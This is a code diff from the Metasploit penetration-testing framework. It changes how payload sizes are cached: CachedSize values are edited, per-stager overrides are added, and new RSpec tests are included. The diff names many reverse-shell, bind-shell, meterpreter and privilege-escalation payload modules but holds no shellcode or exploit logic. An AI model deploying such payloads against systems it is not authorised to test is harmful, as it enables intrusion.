diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
index 7a4b8b222cf31..005aa79785691 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1188612
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
index 07bf4de210df7..39b5f255c0b62 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1332048
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
index 192663159a095..a4863f8f19c44 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1332048
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
index df13d82f9958c..45a237826ce41 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
@@ -6,7 +6,6 @@
 
 # Module generated by tools/modules/generate_mettle_payloads.rb
 module MetasploitModule
-
   CachedSize = 1332048
 
   include Msf::Payload::Single
diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb
index 8b8158ae33aec..3d5a44c1a487e 100644
--- a/modules/payloads/singles/php/exec.rb
+++ b/modules/payloads/singles/php/exec.rb
@@ -32,7 +32,7 @@ def php_exec_cmd
     # please do not copy me into new code, instead use the #php_exec_cmd method after including Msf::Payload::Php or
     # use the PHP adapter payload by selecting any php/unix/cmd/* payload
     vars = Rex::RandomIdentifier::Generator.new(language: :php)
-    shell <<-END_OF_PHP_CODE
+    shell = <<-END_OF_PHP_CODE
       #{php_preamble(vars_generator: vars)}
       #{php_system_block(vars_generator: vars, cmd: datastore['CMD'])}
     END_OF_PHP_CODE
diff --git a/modules/payloads/singles/python/exec.rb b/modules/payloads/singles/python/exec.rb
index 3bcb89a8a8063..9a7a1b94a4014 100644
--- a/modules/payloads/singles/python/exec.rb
+++ b/modules/payloads/singles/python/exec.rb
@@ -1,5 +1,5 @@
 module MetasploitModule
-  CachedSize = 248
+  CachedSize = :dynamic
 
   include Msf::Payload::Single
   include Msf::Payload::Python
diff --git a/modules/payloads/singles/windows/aarch64/exec.rb b/modules/payloads/singles/windows/aarch64/exec.rb
index 743102b46c681..139d64c23fc14 100644
--- a/modules/payloads/singles/windows/aarch64/exec.rb
+++ b/modules/payloads/singles/windows/aarch64/exec.rb
@@ -4,7 +4,6 @@
 ##
 
 module MetasploitModule
-  # This size is an approximation. The final size depends on the CMD string.
   CachedSize = 352
 
   include Msf::Payload::Windows
diff --git a/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb
index 563b68bd48bca..d5d7f70bf7eee 100644
--- a/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 4000
+  CachedSize = 4608
 
   include Msf::Payload::Windows
   include Msf::Payload::Single
diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb
index d118991612937..9671280f1d20a 100644
--- a/modules/payloads/stagers/java/bind_tcp.rb
+++ b/modules/payloads/stagers/java/bind_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 5256
+  CachedSize = :dynamic
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb
index 72b3d6b475d73..eb348824a9c7f 100644
--- a/modules/payloads/stagers/java/reverse_tcp.rb
+++ b/modules/payloads/stagers/java/reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 5256
+  CachedSize = :dynamic
 
   include Msf::Payload::Stager
   include Msf::Payload::Java
diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb
index d76e77bb93fdb..f9ae639f92f0b 100644
--- a/modules/payloads/stagers/windows/reverse_http.rb
+++ b/modules/payloads/stagers/windows/reverse_http.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 444
+  CachedSizeOverrides = {"windows/custom/reverse_http" => 454}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb
index 4c4d048685e4c..293065b047c10 100644
--- a/modules/payloads/stagers/windows/reverse_https.rb
+++ b/modules/payloads/stagers/windows/reverse_https.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 464
+  CachedSizeOverrides = {"windows/custom/reverse_https" => 474}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb
index b7bbbd6b097ad..b0a0bb2fc1014 100644
--- a/modules/payloads/stagers/windows/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttp.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 533
+  CachedSizeOverrides = {"windows/custom/reverse_winhttp" => 547}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb
index 0fa274fee5936..0325833b7c6f3 100644
--- a/modules/payloads/stagers/windows/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/reverse_winhttps.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 555
+  CachedSizeOverrides = {"windows/custom/reverse_winhttps" => 569}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb b/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb
index c036bf37b12b4..0cf02d7d24b7a 100644
--- a/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb
+++ b/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb
@@ -4,7 +4,7 @@
 ##
 
 module MetasploitModule
-  CachedSize = 2560
+  CachedSize = 3072
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows::EncryptedReverseTcp
diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb
index 1cc72109de5fb..7d6169f21e5ee 100644
--- a/modules/payloads/stagers/windows/x64/reverse_http.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_http.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 610
+  CachedSizeOverrides = {"windows/x64/custom/reverse_http" => 634}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_https.rb b/modules/payloads/stagers/windows/x64/reverse_https.rb
index 25d99864913a1..bc835e8059f86 100644
--- a/modules/payloads/stagers/windows/x64/reverse_https.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_https.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 644
+  CachedSizeOverrides = {"windows/x64/custom/reverse_https" => 668}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
index c1da10f78e24f..136b13b5b0cc2 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 745
+  CachedSizeOverrides = {"windows/x64/custom/reverse_winhttp" => 762}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
index 71552a10bbb8b..73e3e13311c8e 100644
--- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
+++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb
@@ -5,6 +5,7 @@
 
 module MetasploitModule
   CachedSize = 781
+  CachedSizeOverrides = {"windows/x64/custom/reverse_winhttps" => 798}
 
   include Msf::Payload::Stager
   include Msf::Payload::Windows
diff --git a/spec/lib/msf/core/payload_spec.rb b/spec/lib/msf/core/payload_spec.rb
new file mode 100644
index 0000000000000..de2a64bf68a46
--- /dev/null
+++ b/spec/lib/msf/core/payload_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'msf/core/payload'
+
+RSpec.describe Msf::Payload do
+  let(:klass) { Class.new(described_class) }
+
+  describe '.cached_size' do
+    context 'when CachedSize is not defined' do
+      it 'returns nil' do
+        expect(klass.cached_size).to be_nil
+      end
+    end
+
+    context 'when CachedSize is defined as an integer' do
+      let(:klass) do
+        Class.new(described_class) do
+          CachedSize = 123
+        end
+      end
+
+      it 'returns the integer value' do
+        expect(klass.cached_size).to eq(123)
+      end
+    end
+
+    context 'when CachedSize is defined as :dynamic' do
+      let(:klass) do
+        Class.new(described_class) do
+          CachedSize = :dynamic
+        end
+      end
+
+      it 'returns nil' do
+        expect(klass.cached_size).to be_nil
+      end
+    end
+
+    context 'when class is a Stager and CachedSizeOverrides is defined' do
+      let(:stager_klass) do
+        Class.new(described_class) do
+          include Msf::Payload::Stager
+
+          CachedSize = 111
+          CachedSizeOverrides = { 'windows/stage/stager' => 222 }
+
+          def self.refname
+            'windows/stage/stager'
+          end
+        end
+      end
+
+      it 'returns the override value for the stager refname' do
+        expect(stager_klass.cached_size).to eq(222)
+      end
+    end
+  end
+
+  describe '#cached_size' do
+    it 'delegates to .cached_size' do
+      obj = klass.new
+      allow(klass).to receive(:cached_size).and_return(42)
+      expect(obj.cached_size).to eq(42)
+    end
+  end
+end
diff --git a/spec/lib/msf/util/payload_cached_size_spec.rb b/spec/lib/msf/util/payload_cached_size_spec.rb
new file mode 100644
index 0000000000000..adb1260d7b90e
--- /dev/null
+++ b/spec/lib/msf/util/payload_cached_size_spec.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+require 'ostruct'
+require 'msf/util/payload_cached_size'
+
+RSpec.describe Msf::Util::PayloadCachedSize do
+  describe '.update_stage_sizes_constant' do
+    let(:original_data) do
+      <<~RUBY
+        module MetasploitModule
+          CachedSize = 123
+        end
+      RUBY
+    end
+
+    let(:stages_with_sizes) do
+      [
+        { stage: instance_double(Msf::Module, refname: 'stage_one'), size: 111 },
+        { stage: instance_double(Msf::Module, refname: 'stage_two'), size: 222 }
+      ]
+    end
+
+    it 'replaces an existing CachedSizeOverrides value with a new one' do
+      data = <<~RUBY
+        module MetasploitModule
+          CachedSize = 123
+          CachedSizeOverrides = {"old_stage" => 999}
+        end
+      RUBY
+      stages_with_sizes = [
+        { stage: instance_double(Msf::Module, refname: 'stage_new'), size: 555 }
+      ]
+      result = described_class.update_stage_sizes_constant(data, stages_with_sizes)
+      expect(result).to include('CachedSizeOverrides = {"stage_new" => 555}')
+    end
+
+    it 'adds CachedSizeOverrides with correct values' do
+      result = described_class.update_stage_sizes_constant(original_data, stages_with_sizes)
+      expect(result).to include('CachedSizeOverrides = {"stage_one" => 111, "stage_two" => 222}')
+    end
+
+    it 'removes previous CachedSizeStages and CachedSizeOverrides lines' do
+      data = <<~RUBY
+        module MetasploitModule
+          CachedSize = 123
+          CachedSizeOverrides = something
+        end
+      RUBY
+      result = described_class.update_stage_sizes_constant(data, stages_with_sizes)
+      expect(result).to include('CachedSizeOverrides = {"stage_one" => 111, "stage_two" => 222}')
+    end
+
+    it 'returns data unchanged if no stages_with_sizes' do
+      result = described_class.update_stage_sizes_constant(original_data, [])
+      expect(result).to eq(original_data)
+    end
+  end
+
+  describe '.cache_size_errors_for' do
+    let(:framework) { instance_double('Msf::Framework') }
+    let(:mod) do
+      instance_double(Msf::Payload, cached_size: 100, shortname: 'foo').tap do |m|
+        allow(m).to receive(:send).with(:module_info).and_return({})
+        allow(m).to receive(:arch_to_s).and_return(nil)
+      end
+    end
+
+    context 'when payload is dynamic and marked as dynamic' do
+      it 'returns nil (no error)' do
+        allow(described_class).to receive(:is_dynamic?).with(framework, mod).and_return(true)
+        allow(mod).to receive(:dynamic_size?).and_return(true)
+        allow(mod).to receive(:cached_size).and_return(100)
+        expect(described_class.cache_size_errors_for(framework, mod)).to be_nil
+      end
+    end
+
+    context 'when payload is dynamic but not marked as dynamic' do
+      it 'returns an error message' do
+        allow(described_class).to receive(:is_dynamic?).with(framework, mod).and_return(true)
+        allow(mod).to receive(:dynamic_size?).and_return(false)
+        allow(mod).to receive(:cached_size).and_return(100)
+        expect(described_class.cache_size_errors_for(framework, mod)).to match(/CacheSize must be set to :dynamic/)
+      end
+    end
+
+    context 'when payload is static but missing CachedSize' do
+      it 'returns an error message' do
+        allow(described_class).to receive(:is_dynamic?).with(framework, mod).and_return(false)
+        allow(mod).to receive(:dynamic_size?).and_return(false)
+        allow(mod).to receive(:cached_size).and_return(nil)
+        expect(described_class.cache_size_errors_for(framework, mod)).to match(/missing CachedSize/)
+      end
+    end
+
+    context 'when payload is static and CachedSize matches generated size' do
+      it 'returns nil (no error)' do
+        allow(described_class).to receive(:is_dynamic?).with(framework, mod).and_return(false)
+        allow(mod).to receive(:dynamic_size?).and_return(false)
+        allow(mod).to receive(:cached_size).and_return(100)
+        allow(mod).to receive(:shortname).and_return('foo')
+        allow(mod).to receive_message_chain(:replicant, :generate_simple).and_return('A' * 100)
+        expect(described_class.cache_size_errors_for(framework, mod)).to be_nil
+      end
+    end
+
+    context 'when payload is static and CachedSize does not match generated size' do
+      it 'returns an error message' do
+        allow(described_class).to receive(:is_dynamic?).with(framework, mod).and_return(false)
+        allow(mod).to receive(:dynamic_size?).and_return(false)
+        allow(mod).to receive(:cached_size).and_return(100)
+        allow(mod).to receive(:shortname).and_return('foo')
+        allow(mod).to receive_message_chain(:replicant, :generate_simple).and_return('A' * 99)
+        expect(described_class.cache_size_errors_for(framework, mod)).to match(/after one generation was 99/)
+      end
+    end
+  end
+end
diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb
index a0e00108b5756..28a95ac1d369c 100644
--- a/spec/modules/payloads_spec.rb
+++ b/spec/modules/payloads_spec.rb
@@ -10,7 +10,6 @@
                           ancestor_reference_names: [
                               'singles/aix/ppc/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'aix/ppc/shell_bind_tcp'
   end
@@ -20,7 +19,6 @@
                           ancestor_reference_names: [
                               'singles/aix/ppc/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'aix/ppc/shell_find_port'
   end
@@ -30,7 +28,6 @@
                           ancestor_reference_names: [
                               'singles/aix/ppc/shell_interact'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'aix/ppc/shell_interact'
   end
@@ -40,7 +37,6 @@
                           ancestor_reference_names: [
                               'singles/aix/ppc/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'aix/ppc/shell_reverse_tcp'
   end
@@ -50,7 +46,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/aarch64/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/aarch64/meterpreter_reverse_http'
   end
@@ -60,7 +55,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/aarch64/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/aarch64/meterpreter_reverse_https'
   end
@@ -70,7 +64,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/aarch64/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/aarch64/meterpreter_reverse_tcp'
   end
@@ -80,7 +73,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/aarch64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/aarch64/shell_reverse_tcp'
   end
@@ -90,7 +82,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/armle/meterpreter_reverse_http'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/armle/meterpreter_reverse_http'
   end
@@ -100,7 +91,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/armle/meterpreter_reverse_https'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/armle/meterpreter_reverse_https'
   end
@@ -110,7 +100,6 @@
                           ancestor_reference_names: [
                               'singles/apple_ios/armle/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'apple_ios/armle/meterpreter_reverse_tcp'
   end
@@ -120,7 +109,6 @@
                           ancestor_reference_names: [
                             'singles/android/meterpreter_reverse_https'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter_reverse_https'
   end
@@ -130,7 +118,6 @@
                           ancestor_reference_names: [
                             'singles/android/meterpreter_reverse_http'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter_reverse_http'
   end
@@ -140,7 +127,6 @@
                           ancestor_reference_names: [
                             'singles/android/meterpreter_reverse_tcp'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter_reverse_tcp'
   end
@@ -151,7 +137,6 @@
                               'stagers/android/reverse_http',
                               'stages/android/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter/reverse_http'
   end
@@ -162,7 +147,6 @@
                               'stagers/android/reverse_https',
                               'stages/android/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter/reverse_https'
   end
@@ -173,7 +157,6 @@
                               'stagers/android/reverse_tcp',
                               'stages/android/meterpreter'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/meterpreter/reverse_tcp'
   end
@@ -184,7 +167,6 @@
                               'stagers/android/reverse_http',
                               'stages/android/shell'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/shell/reverse_http'
   end
@@ -195,7 +177,6 @@
                               'stagers/android/reverse_https',
                               'stages/android/shell'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/shell/reverse_https'
   end
@@ -206,7 +187,6 @@
                               'stagers/android/reverse_tcp',
                               'stages/android/shell'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'android/shell/reverse_tcp'
   end
@@ -216,7 +196,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/sparc/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/sparc/shell_bind_tcp'
   end
@@ -226,7 +205,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/sparc/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/sparc/shell_reverse_tcp'
   end
@@ -236,7 +214,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/vax/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/vax/shell_reverse_tcp'
   end
@@ -246,7 +223,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/exec'
   end
@@ -256,7 +232,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_bind_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_bind_ipv6_tcp'
   end
@@ -266,7 +241,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_bind_tcp'
   end
@@ -276,7 +250,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_bind_tcp_small'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_bind_tcp_small'
   end
@@ -286,7 +259,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_reverse_ipv6_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_reverse_ipv6_tcp'
   end
@@ -296,7 +268,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_reverse_tcp'
   end
@@ -306,7 +277,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x64/shell_reverse_tcp_small'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x64/shell_reverse_tcp_small'
   end
@@ -316,7 +286,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/exec'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/exec'
   end
@@ -326,7 +295,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/metsvc_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/metsvc_bind_tcp'
   end
@@ -336,7 +304,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/metsvc_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/metsvc_reverse_tcp'
   end
@@ -347,7 +314,6 @@
                               'stagers/bsd/x86/bind_ipv6_tcp',
                               'stages/bsd/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell/bind_ipv6_tcp'
   end
@@ -358,7 +324,6 @@
                               'stagers/bsd/x86/bind_tcp',
                               'stages/bsd/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell/bind_tcp'
   end
@@ -369,7 +334,6 @@
                               'stagers/bsd/x86/find_tag',
                               'stages/bsd/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell/find_tag'
   end
@@ -380,7 +344,6 @@
                               'stagers/bsd/x86/reverse_ipv6_tcp',
                               'stages/bsd/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell/reverse_ipv6_tcp'
   end
@@ -391,7 +354,6 @@
                               'stagers/bsd/x86/reverse_tcp',
                               'stages/bsd/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell/reverse_tcp'
   end
@@ -401,7 +363,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_bind_tcp'
   end
@@ -411,7 +372,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_bind_tcp_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_bind_tcp_ipv6'
   end
@@ -421,7 +381,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_find_port'
   end
@@ -431,7 +390,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_find_tag'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_find_tag'
   end
@@ -441,7 +399,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_reverse_tcp'
   end
@@ -451,7 +408,6 @@
                           ancestor_reference_names: [
                               'singles/bsd/x86/shell_reverse_tcp_ipv6'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsd/x86/shell_reverse_tcp_ipv6'
   end
@@ -462,7 +418,6 @@
                               'stagers/bsdi/x86/bind_tcp',
                               'stages/bsdi/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsdi/x86/shell/bind_tcp'
   end
@@ -473,7 +428,6 @@
                               'stagers/bsdi/x86/reverse_tcp',
                               'stages/bsdi/x86/shell'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsdi/x86/shell/reverse_tcp'
   end
@@ -483,7 +437,6 @@
                           ancestor_reference_names: [
                               'singles/bsdi/x86/shell_bind_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsdi/x86/shell_bind_tcp'
   end
@@ -493,7 +446,6 @@
                           ancestor_reference_names: [
                               'singles/bsdi/x86/shell_find_port'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsdi/x86/shell_find_port'
   end
@@ -503,7 +455,6 @@
                           ancestor_reference_names: [
                               'singles/bsdi/x86/shell_reverse_tcp'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'bsdi/x86/shell_reverse_tcp'
   end
@@ -756,7 +707,7 @@
                           ],
                           reference_name: 'cmd/linux/tftp/ppc64'
   end
-  
+
   context 'cmd/linux/http/ppc64le' do
     it_should_behave_like 'payload is not cached',
                           ancestor_reference_names: [
@@ -826,7 +777,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/mainframe/generic_jcl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/mainframe/generic_jcl'
   end
@@ -836,7 +786,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/mainframe/bind_shell_jcl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/mainframe/bind_shell_jcl'
   end
@@ -846,7 +795,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/mainframe/reverse_shell_jcl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/mainframe/reverse_shell_jcl'
   end
@@ -856,7 +804,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/mainframe/apf_privesc_jcl'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/mainframe/apf_privesc_jcl'
   end
@@ -866,7 +813,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_awk'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_awk'
   end
@@ -876,7 +822,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/bind_aws_instance_connect'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_aws_instance_connect'
   end
@@ -886,7 +831,6 @@
                           ancestor_reference_names: [
                             'singles/cmd/unix/adduser'
                           ],
-                          dynamic_size: true,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/adduser'
   end
@@ -896,7 +840,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_busybox_telnetd'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_busybox_telnetd'
   end
@@ -906,7 +849,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_inetd'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_inetd'
   end
@@ -916,7 +858,6 @@
                           ancestor_reference_names: [
                               'singles/cmd/unix/bind_lua'
                           ],
-                          dynamic_size: false,
                           modules_pathname: modules_pathname,
                           reference_name: 'cmd/unix/bind_lua'
   end
@@ -926,7 +867,6 @@
                           ancestor_reference_names: [
